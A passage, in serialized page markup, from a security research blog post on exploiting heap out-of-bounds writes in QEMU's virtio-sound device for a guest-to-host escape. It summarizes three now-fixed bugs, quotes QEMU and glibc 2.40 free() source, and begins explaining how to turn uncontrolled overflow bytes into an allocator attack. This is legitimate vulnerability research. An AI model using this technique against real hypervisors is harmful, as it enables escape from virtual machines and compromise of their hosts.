cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[123586],{"type":23,"tag":135,"props":123587,"children":123588},{"__ignoreMap":7},[123589,123597,123626,123643,123663,123670,123687,123694,123701,123708,123730,123737,123744,123751,123797,123840,123884,123892,123929,123965,124001,124008,124025],{"type":23,"tag":139,"props":123590,"children":123591},{"class":141,"line":142},[123592],{"type":23,"tag":139,"props":123593,"children":123594},{"style":279},[123595],{"type":28,"value":123596},"static\n",{"type":23,"tag":139,"props":123598,"children":123599},{"class":141,"line":151},[123600,123604,123609,123614,123618,123622],{"type":23,"tag":139,"props":123601,"children":123602},{"style":279},[123603],{"type":28,"value":55832},{"type":23,"tag":139,"props":123605,"children":123606},{"style":245},[123607],{"type":28,"value":123608}," virtio_snd_set_pcm_params",{"type":23,"tag":139,"props":123610,"children":123611},{"style":259},[123612],{"type":28,"value":123613},"(VirtIOSound ",{"type":23,"tag":139,"props":123615,"children":123616},{"style":982},[123617],{"type":28,"value":2573},{"type":23,"tag":139,"props":123619,"children":123620},{"style":294},[123621],{"type":28,"value":8661},{"type":23,"tag":139,"props":123623,"children":123624},{"style":259},[123625],{"type":28,"value":1488},{"type":23,"tag":139,"props":123627,"children":123628},{"class":141,"line":160},[123629,123634,123639],{"type":23,"tag":139,"props":123630,"children":123631},{"style":279},[123632],{"type":28,"value":123633},"                                   uint32_t",{"type":23,"tag":139,"props":123635,"children":123636},{"style":294},[123637],{"type":28,"value":123638}," stream_id",{"type":23,"tag":139,"props":123640,"children":123641},{"style":259},[123642],{"type":28,"value":1488},{"type":23,"tag":139,"props":123644,"children":123645},{"class":141,"line":169},[123646,123651,123655,123659],{"type":23,"tag":139,"props":123647,"children":123648},{"style":259},[123649],{"type":28,"value":123650},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":139,"props":123652,"children":123653},{"style":982},[123654],{"type":28,"value":2573},{"type":23,"tag":139,"props":123656,"children":123657},{"style":294},[123658],{"type":28,"value":96186},{"type":23,"tag":139,"props":123660,"children":123661},{"style":259},[123662],{"type":28,"value":273},{"type":23,"tag":139,"props":123664,"children":123665},{"class":141,"line":178},[123666],{"type":23,"tag":139,"props":123667,"children":123668},{"style":259},[123669],{"type":28,"value":8890},{"type":23,"tag":139,"props":123671,"children":123672},{"class":141,"line":187},[123673,123678,123682],{"type":23,"tag":139,"props":123674,"children":123675},{"style":259},[123676],{"type":28,"value":123677},"    virtio_snd_pcm_set_params ",{"type":23,"tag":139,"props":123679,"children":123680},{"style":982},[123681],{"type":28,"value":2573},{"type":23,"tag":139,"props":123683,"children":123684},{"style":259},[123685],{"type":28,"value":123686},"st_params;\n",{"type":23,"tag":139,"props":123688,"children":123689},{"class":141,"line":196},[123690],{"type":23,"tag":139,"props":123691,"children":123692},{"emptyLinePlaceholder":15},[123693],{"type":28,"value":184},{"type":23,"tag":139,"props":123695,"children":123696},{"class":141,"line":205},[123697],{"type":23,"tag":139,"props":123698,"children":123699},{"style":259},[123700],{"type":28,"value":102705},{"type":23,"tag":139,"props":123702,"children":123703},{"class":141,"line":214},[123704],{"type":23,"tag":139,"props":123705,"children":123706},{"emptyLinePlaceholder":15},[123707],{"type":28,"value":184},{"type":23,"tag":139,"props":123709,"children":123710},{"class":141,"line":1320},[123711,123716,123720,123725],{"type":23,"tag":139,"props":123712,"children":123713},{"style":259},[123714],{"type":28,"value":123715},"    st_params ",{"type":23,"tag":139,"props":123717,"children":123718},{"style":982},[123719],{"type":28,"value":1067},{"type":23,"tag":139,"props":123721,"children":123722},{"style":245},[123723],{"type":28,"value":123724}," virtio_snd_pcm_get_params",{"type":23,"tag":139,"props":123726,"children":123727},{"style":259},[123728],{"type":28,"value":123729},"(s, stream_id);\n",{"type":23,"tag":139,"props":123731,"children":123732},{"class":141,"line":1329},[123733],{"type":23,"tag":139,"props":123734,"children":123735},{"emptyLinePlaceholder":15},[123736],{"type":28,"value":184},{"type":23,"tag":139,"props":123738,"children":123739},{"class":141,"line":1580},[123740],{"type":23,"tag":139,"props":123741,"children":123742},{"style":259},[123743],{"type":28,"value":102705},{"type":23,"tag":139,"props":123745,"children":123746},{"class":141,"line":1597},[123747],{"type":23,"tag":139,"props":123748,"children":123749},{"emptyLinePlaceholder":15},[123750],{"type":28,"value":184},{"type":23,"tag":139,"props":123752,"children":123753},{"class":141,"line":1614},[123754,123759,123763,123768,123772,123777,123781,123785,123789,123793],{"type":23,"tag":139,"props":123755,"children":123756},{"style":294},[123757],{"type":28,"value":123758},"    st_params",{"type":23,"tag":139,"props":123760,"children":123761},{"style":259},[123762],{"type":28,"value":11768},{"type":23,"tag":139,"props":123764,"children":123765},{"style":294},[123766],{"type":28,"value":123767},"buffer_bytes",{"type":23,"tag":139,"props":123769,"children":123770},{"style":982},[123771],{"type":28,"value":985},{"type":23,"tag":139,"props":123773,"children":123774},{"style":245},[123775],{"type":28,"value":123776}," le32_to_cpu",{"type":23,"tag":139,"props":123778,"children":123779},{"style":259},[123780],{"type":28,"value":262},{"type":23,"tag":139,"props":123782,"children":123783},{"style":294},[123784],{"type":28,"value":96186},{"type":23,"tag":139,"props":123786,"children":123787},{"style":259},[123788],{"type":28,"value":11768},{"type":23,"tag":139,"props":123790,"children":123791},{"style":294},[123792],{"type":28,"value":123767},{"type":23,"tag":139,"props":123794,"children":123795},{"style":259},[123796],{"type":28,"value":1820},{"type":23,"tag":139,"props":123798,"children":123799},{"class":141,"line":1627},[123800,123804,123808,123812,123816,123820,123824,123828,123832,123836],{"type":23,"tag":139,"props":123801,"children":123802},{"style":294},[123803],{"type":28,"value":123758},{"type":23,"tag":139,"props":123805,"children":123806},{"style":259},[123807],{"type":28,"value":11768},{"type":23,"tag":139,"props":123809,"children":123810},{"style":294},[123811],{"type":28,"value":123217},{"type":23,"tag":139,"props":123813,"children":123814},{"style":982},[123815],{"type":28,"value":985},{"type":23,"tag":139,"props":123817,"children":123818},{"style":245},[123819],{"type":28,"value":123776},{"type":23,"tag":139,"props":123821,"children":123822},{"style":259},[123823],{"type":28,"value":262},{"type":23,"tag":139,"props":123825,"children":123826},{"style":294},[123827],{"type":28,"value":96186},{"type":23,"tag":139,"props":123829,"children":123830},{"style":259},[123831],{"type":28,"value":11768},{"type":23,"tag":139,"props":123833,"children":123834},{"style":294},[123835],{"type":28,"value":123217},{"type":23,"tag":139,"props":123837,"children":123838},{"style":259},[123839],{"type":28,"value":1820},{"type":23,"tag":139,"props":123841,"children":123842},{"class":141,"line":1636},[123843,123847,123851,123856,123860,123864,123868,123872,123876,123880],{"type":23,"tag":139,"props":123844,"children":123845},{"style":294},[123846],{"type":28,"value":123758},{"type":23,"tag":139,"props":123848,"children":123849},{"style":259},[123850],{"type":28,"value":11768},{"type":23,"tag":139,"props":123852,"children":123853},{"style":294},[123854],{"type":28,"value":123855},"features",{"type":23,"tag":139,"props":123857,"children":123858},{"style":982},[123859],{"type":28,"value":985},{"type":23,"tag":139,"props":123861,"children":123862},{"style":245},[123863],{"type":28,"value":123776},{"type":23,"tag":139,"props":123865,"children":123866},{"style":259},[123867],{"type":28,"value":262},{"type":23,"tag":139,"props":123869,"children":123870},{"style":294},[123871],{"type":28,"value":96186},{"type":23,"tag":139,"props":123873,"children":123874},{"style":259},[123875],{"type":28,"value":11768},{"type":23,"tag":139,"props":123877,"children":123878},{"style":294},[123879],{"type":28,"value":123855},{"type":23,"tag":139,"props":123881,"children":123882},{"style":259},[123883],{"type":28,"value":1820},{"type":23,"tag":139,"props":123885,"children":123886},{"class":141,"line":1659},[123887],{"type":23,"tag":139,"props":123888,"children":123889},{"style":958},[123890],{"type":28,"value":123891},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":139,"props":123893,"children":123894},{"class":141,"line":1667},[123895,123899,123903,123908,123912,123917,123921,123925],{"type":23,"tag":139,"props":123896,"children":123897},{"style":294},[123898],{"type":28,"value":123758},{"type":23,"tag":139,"props":123900,"children":123901},{"style":259},[123902],{"type":28,"value":11768},{"type":23,"tag":139,"props":123904,"children":123905},{"style":294},[123906],{"type":28,"value":123907},"channels",{"type":23,"tag":139,"props":123909,"children":123910},{"style":982},[123911],{"type":28,"value":985},{"type":23,"tag":139,"props":123913,"children":123914},{"style":294},[123915],{"type":28,"value":123916}," params",{"type":23,"tag":139,"props":123918,"children":123919},{"style":259},[123920],{"type":28,"value":11768},{"type":23,"tag":139,"props":123922,"children":123923},{"style":294},[123924],{"type":28,"value":123907},{"type":23,"tag":139,"props":123926,"children":123927},{"style":259},[123928],{"type":28,"value":995},{"type":23,"tag":139,"props":123930,"children":123931},{"class":141,"line":1676},[123932,123936,123940,123945,123949,123953,123957,123961],{"type":23,"tag":139,"props":123933,"children":123934},{"style":294},[123935],{"type":28,"value":123758},{"type":23,"tag":139,"props":123937,"children":123938},{"style":259},[123939],{"type":28,"value":11768},{"type":23,"tag":139,"props":123941,"children":123942},{"style":294},[123943],{"type":28,"value":123944},"format",{"type":23,"tag":139,"props":123946,"children":123947},{"style":982},[123948],{"type":28,"value":985},{"type":23,"tag":139,"props":123950,"children":123951},{"style":294},[123952],{"type":28,"value":123916},{"type":23,"tag":139,"props":123954,"children":123955},{"style":259},[123956],{"type":28,"value":11768},{"type":23,"tag":139,"props":123958,"children":123959},{"style":294},[123960],{"type":28,"value":123944},{"type":23,"tag":139,"props":123962,"children":123963},{"style":259},[123964],{"type":28,"value":995},{"type":23,"tag":139,"props":123966,"children":123967},{"class":141,"line":1745},[123968,123972,123976,123981,123985,123989,123993,123997],{"type":23,"tag":139,"props":123969,"children":123970},{"style":294},[123971],{"type":28,"value":123758},{"type":23,"tag":139,"props":123973,"children":123974},{"style":259},[123975],{"type":28,"value":11768},{"type":23,"tag":139,"props":123977,"children":123978},{"style":294},[123979],{"type":28,"value":123980},"rate",{"type":23,"tag":139,"props":123982,"children":123983},{"style":982},[123984],{"type":28,"value":985},{"type":23,"tag":139,"props":123986,"children":123987},{"style":294},[123988],{"type":28,"value":123916},{"type":23,"tag":139,"props":123990,"children":123991},{"style":259},[123992],{"type":28,"value":11768},{"type":23,"tag":139,"props":123994,"children":123995},{"style":294},[123996],{"type":28,"value":123980},{"type":23,"tag":139,"props":123998,"children":123999},{"style":259},[124000],{"type":28,"value":995},{"type":23,"tag":139,"props":124002,"children":124003},{"class":141,"line":1753},[124004],{"type":23,"tag":139,"props":124005,"children":124006},{"emptyLinePlaceholder":15},[124007],{"type":28,"value":184},{"type":23,"tag":139,"props":124009,"children":124010},{"class":141,"line":1783},[124011,124015,124020],{"type":23,"tag":139,"props":124012,"children":124013},{"style":319},[124014],{"type":28,"value":322},{"type":23,"tag":139,"props":124016,"children":124017},{"style":245},[124018],{"type":28,"value":124019}," cpu_to_le32",{"type":23,"tag":139,"props":124021,"children":124022},{"style":259},[124023],{"type":28,"value":124024},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":139,"props":124026,"children":124027},{"class":141,"line":1791},[124028],{"type":23,"tag":139,"props":124029,"children":124030},{"style":259},[124031],{"type":28,"value":1897},{"type":23,"tag":24,"props":124033,"children":124034},{},[124035,124037,124042,124044,124050,124052,124057,124059,124064,124066,124072,124073,124078],{"type":28,"value":124036},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":135,"props":124038,"children":124040},{"className":124039},[],[124041],{"type":28,"value":1401},{"type":28,"value":124043},") and signed (",{"type":23,"tag":135,"props":124045,"children":124047},{"className":124046},[],[124048],{"type":28,"value":124049},"s8",{"type":28,"value":124051},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":135,"props":124053,"children":124055},{"className":124054},[],[124056],{"type":28,"value":27462},{"type":28,"value":124058}," in ",{"type":23,"tag":135,"props":124060,"children":124062},{"className":124061},[],[124063],{"type":28,"value":1401},{"type":28,"value":124065},", but ",{"type":23,"tag":135,"props":124067,"children":124069},{"className":124068},[],[124070],{"type":28,"value":124071},"0x00",{"type":28,"value":124058},{"type":23,"tag":135,"props":124074,"children":124076},{"className":124075},[],[124077],{"type":28,"value":124049},{"type":28,"value":73},{"type":23,"tag":16800,"props":124080,"children":124081},{},[],{"type":23,"tag":24,"props":124083,"children":124084},{},[124085],{"type":28,"value":124086},"To summarize:",{"type":23,"tag":797,"props":124088,"children":124089},{},[124090,124109,124127],{"type":23,"tag":801,"props":124091,"children":124092},{},[124093,124095,124100,124102,124107],{"type":28,"value":124094},"an integer underflow in the ",{"type":23,"tag":135,"props":124096,"children":124098},{"className":124097},[],[124099],{"type":28,"value":122164},{"type":28,"value":124101}," calculation in ",{"type":23,"tag":135,"props":124103,"children":124105},{"className":124104},[],[124106],{"type":28,"value":121669},{"type":28,"value":124108},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":801,"props":124110,"children":124111},{},[124112,124114,124119,124120,124125],{"type":28,"value":124113},"a mismatch in the ",{"type":23,"tag":135,"props":124115,"children":124117},{"className":124116},[],[124118],{"type":28,"value":123396},{"type":28,"value":124101},{"type":23,"tag":135,"props":124121,"children":124123},{"className":124122},[],[124124],{"type":28,"value":123494},{"type":28,"value":124126},", leading to at most 8-byte OOB write",{"type":23,"tag":801,"props":124128,"children":124129},{},[124130,124132,124137,124139,124144,124146,124151],{"type":28,"value":124131},"a missing bound in the ",{"type":23,"tag":135,"props":124133,"children":124135},{"className":124134},[],[124136],{"type":28,"value":122164},{"type":28,"value":124138}," passed to ",{"type":23,"tag":135,"props":124140,"children":124142},{"className":124141},[],[124143],{"type":28,"value":123514},{"type":28,"value":124145},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":135,"props":124147,"children":124149},{"className":124148},[],[124150],{"type":28,"value":123537},{"type":28,"value":80193},{"type":23,"tag":24,"props":124153,"children":124154},{},[124155,124157,124162,124164,124169,124171,124177],{"type":28,"value":124156},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":135,"props":124158,"children":124160},{"className":124159},[],[124161],{"type":28,"value":123537},{"type":28,"value":124163},", but in our setup with the ALSA backend, ",{"type":23,"tag":135,"props":124165,"children":124167},{"className":124166},[],[124168],{"type":28,"value":123537},{"type":28,"value":124170}," was consistently around ",{"type":23,"tag":135,"props":124172,"children":124174},{"className":124173},[],[124175],{"type":28,"value":124176},"4096",{"type":28,"value":73},{"type":23,"tag":24,"props":124179,"children":124180},{},[124181,124183,124190,124191,124198],{"type":28,"value":124182},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":64,"props":124184,"children":124187},{"href":124185,"rel":124186},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[68],[124188],{"type":28,"value":124189},"commit 1",{"type":28,"value":1052},{"type":23,"tag":64,"props":124192,"children":124195},{"href":124193,"rel":124194},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[68],[124196],{"type":28,"value":124197},"commit 2",{"type":28,"value":124199},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":41,"props":124201,"children":124202},{"id":98012},[124203],{"type":28,"value":98015},{"type":23,"tag":24,"props":124205,"children":124206},{},[124207],{"type":28,"value":124208},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":124210,"children":124211},{},[124212],{"type":28,"value":124213},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":666,"props":124215,"children":124217},{"id":124216},"achieving-a-better-primitive",[124218],{"type":28,"value":124219},"Achieving a Better Primitive",{"type":23,"tag":24,"props":124221,"children":124222},{},[124223],{"type":28,"value":124224},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":124226,"children":124227},{},[124228],{"type":28,"value":124229},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":124231,"children":124232},{},[124233],{"type":28,"value":124234},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":16900,"props":124236,"children":124238},{"id":124237},"glibc-allocator",[124239],{"type":28,"value":124240},"Glibc Allocator",{"type":23,"tag":24,"props":124242,"children":124243},{},[124244,124246,124253],{"type":28,"value":124245},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":64,"props":124247,"children":124250},{"href":124248,"rel":124249},"https://github.com/shellphish/how2heap",[68],[124251],{"type":28,"value":124252},"how2heap",{"type":28,"value":73},{"type":23,"tag":35236,"props":124255,"children":124257},{"id":124256},"chunk-layout-and-bins",[124258],{"type":28,"value":124259},"Chunk Layout and Bins",{"type":23,"tag":24,"props":124261,"children":124262},{},[124263],{"type":28,"value":124264},"A chunk looks like this:",{"type":23,"tag":128,"props":124266,"children":124268},{"code":124267},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[124269],{"type":23,"tag":135,"props":124270,"children":124271},{"__ignoreMap":7},[124272],{"type":28,"value":124267},{"type":23,"tag":24,"props":124274,"children":124275},{},[124276,124278,124284,124286,124292,124293,124298,124299,124305,124307,124312,124314,124319,124321,124327,124328,124334,124336,124342],{"type":28,"value":124277},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":135,"props":124279,"children":124281},{"className":124280},[],[124282],{"type":28,"value":124283},"prev_size",{"type":28,"value":124285}," field at offset ",{"type":23,"tag":135,"props":124287,"children":124289},{"className":124288},[],[124290],{"type":28,"value":124291},"0x0",{"type":28,"value":35440},{"type":23,"tag":135,"props":124294,"children":124296},{"className":124295},[],[124297],{"type":28,"value":122164},{"type":28,"value":124285},{"type":23,"tag":135,"props":124300,"children":124302},{"className":124301},[],[124303],{"type":28,"value":124304},"0x8",{"type":28,"value":124306},". As the name suggests, ",{"type":23,"tag":135,"props":124308,"children":124310},{"className":124309},[],[124311],{"type":28,"value":124283},{"type":28,"value":124313}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":135,"props":124315,"children":124317},{"className":124316},[],[124318],{"type":28,"value":122164},{"type":28,"value":124320}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":135,"props":124322,"children":124324},{"className":124323},[],[124325],{"type":28,"value":124326},"PREV_INUSE",{"type":28,"value":9002},{"type":23,"tag":135,"props":124329,"children":124331},{"className":124330},[],[124332],{"type":28,"value":124333},"IS_MMAPPED",{"type":28,"value":124335}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":135,"props":124337,"children":124339},{"className":124338},[],[124340],{"type":28,"value":124341},"0x10",{"type":28,"value":73},{"type":23,"tag":24,"props":124344,"children":124345},{},[124346],{"type":28,"value":124347},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":35236,"props":124349,"children":124351},{"id":124350},"free-path",[124352],{"type":28,"value":124353},"free() path",{"type":23,"tag":24,"props":124355,"children":124356},{},[124357,124359,124365],{"type":28,"value":124358},"Let’s first look at the ",{"type":23,"tag":135,"props":124360,"children":124362},{"className":124361},[],[124363],{"type":28,"value":124364},"free()",{"type":28,"value":124366}," path in glibc 2.40:",{"type":23,"tag":128,"props":124368,"children":124370},{"code":124369,"language":1123,"meta":7,"className":14526,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[124371],{"type":23,"tag":135,"props":124372,"children":124373},{"__ignoreMap":7},[124374,124402,124409,124417,124425,124432,124454,124475,124482,124495,124502,124510,124517,124530,124537,124558,124579,124586],{"type":23,"tag":139,"props":124375,"children":124376},{"class":141,"line":142},[124377,124382,124386,124390,124394,124398],{"type":23,"tag":139,"props":124378,"children":124379},{"style":245},[124380],{"type":28,"value":124381},"__libc_free",{"type":23,"tag":139,"props":124383,"children":124384},{"style":259},[124385],{"type":28,"value":1042},{"type":23,"tag":139,"props":124387,"children":124388},{"style":279},[124389],{"type":28,"value":49525},{"type":23,"tag":139,"props":124391,"children":124392},{"style":982},[124393],{"type":28,"value":7825},{"type":23,"tag":139,"props":124395,"children":124396},{"style":294},[124397],{"type":28,"value":38555},{"type":23,"tag":139,"props":124399,"children":124400},{"style":259},[124401],{"type":28,"value":273},{"type":23,"tag":139,"props":124403,"children":124404},{"class":141,"line":151},[124405],{"type":23,"tag":139,"props":124406,"children":124407},{"style":259},[124408],{"type":28,"value":8890},{"type":23,"tag":139,"props":124410,"children":124411},{"class":141,"line":160},[124412],{"type":23,"tag":139,"props":124413,"children":124414},{"style":259},[124415],{"type":28,"value":124416},"  mstate ar_ptr;\n",{"type":23,"tag":139,"props":124418,"children":124419},{"class":141,"line":169},[124420],{"type":23,"tag":139,"props":124421,"children":124422},{"style":259},[124423],{"type":28,"value":124424},"  mchunkptr p;\n",{"type":23,"tag":139,"props":124426,"children":124427},{"class":141,"line":178},[124428],{"type":23,"tag":139,"props":124429,"children":124430},{"emptyLinePlaceholder":15},[124431],{"type":28,"value":184},{"type":23,"tag":139,"props":124433,"children":124434},{"class":141,"line":187},[124435,124440,124444,124449],{"type":23,"tag":139,"props":124436,"children":124437},{"style":259},[124438],{"type":28,"value":124439},"  p ",{"type":23,"tag":139,"props":124441,"children":124442},{"style":982},[124443],{"type":28,"value":1067},{"type":23,"tag":139,"props":124445,"children":124446},{"style":245},[124447],{"type":28,"value":124448}," mem2chunk",{"type":23,"tag":139,"props":124450,"children":124451},{"style":259},[124452],{"type":28,"value":124453}," (mem);\n",{"type":23,"tag":139,"props":124455,"children":124456},{"class":141,"line":196},[124457,124461,124465,124470],{"type":23,"tag":139,"props":124458,"children":124459},{"style":319},[124460],{"type":28,"value":29281},{"type":23,"tag":139,"props":124462,"children":124463},{"style":259},[124464],{"type":28,"value":1042},{"type":23,"tag":139,"props":124466,"children":124467},{"style":245},[124468],{"type":28,"value":124469},"chunk_is_mmapped",{"type":23,"tag":139,"props":124471,"children":124472},{"style":259},[124473],{"type":28,"value":124474}," (p))\n",{"type":23,"tag":139,"props":124476,"children":124477},{"class":141,"line":205},[124478],{"type":23,"tag":139,"props":124479,"children":124480},{"style":259},[124481],{"type":28,"value":27209},{"type":23,"tag":139,"props":124483,"children":124484},{"class":141,"line":214},[124485,124490],{"type":23,"tag":139,"props":124486,"children":124487},{"style":245},[124488],{"type":28,"value":124489},"      munmap_chunk",{"type":23,"tag":139,"props":124491,"children":124492},{"style":259},[124493],{"type":28,"value":124494}," (p);\n",{"type":23,"tag":139,"props":124496,"children":124497},{"class":141,"line":1320},[124498],{"type":23,"tag":139,"props":124499,"children":124500},{"style":259},[124501],{"type":28,"value":1335},{"type":23,"tag":139,"props":124503,"children":124504},{"class":141,"line":1329},[124505],{"type":23,"tag":139,"props":124506,"children":124507},{"style":319},[124508],{"type":28,"value":124509},"  else\n",{"type":23,"tag":139,"props":124511,"children":124512},{"class":141,"line":1580},[124513],{"type":23,"tag":139,"props":124514,"children":124515},{"style":259},[124516],{"type":28,"value":27209},{"type":23,"tag":139,"props":124518,"children":124519},{"class":141,"line":1597},[124520,124525],{"type":23,"tag":139,"props":124521,"children":124522},{"style":245},[124523],{"type":28,"value":124524},"      MAYBE_INIT_TCACHE",{"type":23,"tag":139,"props":124526,"children":124527},{"style":259},[124528],{"type":28,"value":124529}," ();\n",{"type":23,"tag":139,"props":124531,"children":124532},{"class":141,"line":1614},[124533],{"type":23,"tag":139,"props":124534,"children":124535},{"emptyLinePlaceholder":15},[124536],{"type":28,"value":184},{"type":23,"tag":139,"props":124538,"children":124539},{"class":141,"line":1627},[124540,124545,124549,124554],{"type":23,"tag":139,"props":124541,"children":124542},{"style":259},[124543],{"type":28,"value":124544},"      ar_ptr ",{"type":23,"tag":139,"props":124546,"children":124547},{"style":982},[124548],{"type":28,"value":1067},{"type":23,"tag":139,"props":124550,"children":124551},{"style":245},[124552],{"type":28,"value":124553}," arena_for_chunk",{"type":23,"tag":139,"props":124555,"children":124556},{"style":259},[124557],{"type":28,"value":124494},{"type":23,"tag":139,"props":124559,"children":124560},{"class":141,"line":1636},[124561,124566,124571,124575],{"type":23,"tag":139,"props":124562,"children":124563},{"style":245},[124564],{"type":28,"value":124565},"      _int_free",{"type":23,"tag":139,"props":124567,"children":124568},{"style":259},[124569],{"type":28,"value":124570}," (ar_ptr, p, ",{"type":23,"tag":139,"props":124572,"children":124573},{"style":1016},[124574],{"type":28,"value":2021},{"type":23,"tag":139,"props":124576,"children":124577},{"style":259},[124578],{"type":28,"value":1820},{"type":23,"tag":139,"props":124580,"children":124581},{"class":141,"line":1659},[124582],{"type":23,"tag":139,"props":124583,"children":124584},{"style":259},[124585],{"type":28,"value":1335},{"type":23,"tag":139,"props":124587,"children":124588},{"class":141,"line":1667},[124589],{"type":23,"tag":139,"props":124590,"children":124591},{"style":259},[124592],{"type":28,"value":1897},{"type":23,"tag":24,"props":124594,"children":124595},{},[124596,124598,124603,124605,124610,124612,124618,124620,124626,124628,124633,124635,124640,124642,124647,124649,124654],{"type":28,"value":124597},"We can see that if the ",{"type":23,"tag":135,"props":124599,"children":124601},{"className":124600},[],[124602],{"type":28,"value":124333},{"type":28,"value":124604}," bit is set in the corrupted ",{"type":23,"tag":135,"props":124606,"children":124608},{"className":124607},[],[124609],{"type":28,"value":122164},{"type":28,"value":124611}," field, glibc will call ",{"type":23,"tag":135,"props":124613,"children":124615},{"className":124614},[],[124616],{"type":28,"value":124617},"munmap_chunk",{"type":28,"value":124619},", which internally checks that ",{"type":23,"tag":135,"props":124621,"children":124623},{"className":124622},[],[124624],{"type":28,"value":124625},"prev_size + size",{"type":28,"value":124627}," is page-aligned. To reach the ",{"type":23,"tag":135,"props":124629,"children":124631},{"className":124630},[],[124632],{"type":28,"value":122164},{"type":28,"value":124634}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":135,"props":124636,"children":124638},{"className":124637},[],[124639],{"type":28,"value":124283},{"type":28,"value":124641}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":135,"props":124643,"children":124645},{"className":124644},[],[124646],{"type":28,"value":124625},{"type":28,"value":124648}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":135,"props":124650,"children":124652},{"className":124651},[],[124653],{"type":28,"value":124333},{"type":28,"value":124655}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":124657,"children":124658},{},[124659,124661,124666,124668,124674],{"type":28,"value":124660},"Assuming ",{"type":23,"tag":135,"props":124662,"children":124664},{"className":124663},[],[124665],{"type":28,"value":124333},{"type":28,"value":124667}," is not set, execution continues into ",{"type":23,"tag":135,"props":124669,"children":124671},{"className":124670},[],[124672],{"type":28,"value":124673},"_int_free",{"type":28,"value":2493},{"type":23,"tag":128,"props":124676,"children":124678},{"code":124677,"language":1123,"meta":7,"className":14526,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[124679],{"type":23,"tag":135,"props":124680,"children":124681},{"__ignoreMap":7},[124682,124694,124737,124744,124752,124759,124780,124787,124795,124803,124811,124819,124883,124918,124939,124947,124955,125003,125023,125030,125043,125050],{"type":23,"tag":139,"props":124683,"children":124684},{"class":141,"line":142},[124685,124689],{"type":23,"tag":139,"props":124686,"children":124687},{"style":279},[124688],{"type":28,"value":48942},{"type":23,"tag":139,"props":124690,"children":124691},{"style":279},[124692],{"type":28,"value":124693}," void\n",{"type":23,"tag":139,"props":124695,"children":124696},{"class":141,"line":151},[124697,124701,124706,124711,124716,124720,124724,124728,124733],{"type":23,"tag":139,"props":124698,"children":124699},{"style":245},[124700],{"type":28,"value":124673},{"type":23,"tag":139,"props":124702,"children":124703},{"style":259},[124704],{"type":28,"value":124705}," (mstate ",{"type":23,"tag":139,"props":124707,"children":124708},{"style":294},[124709],{"type":28,"value":124710},"av",{"type":23,"tag":139,"props":124712,"children":124713},{"style":259},[124714],{"type":28,"value":124715},", mchunkptr 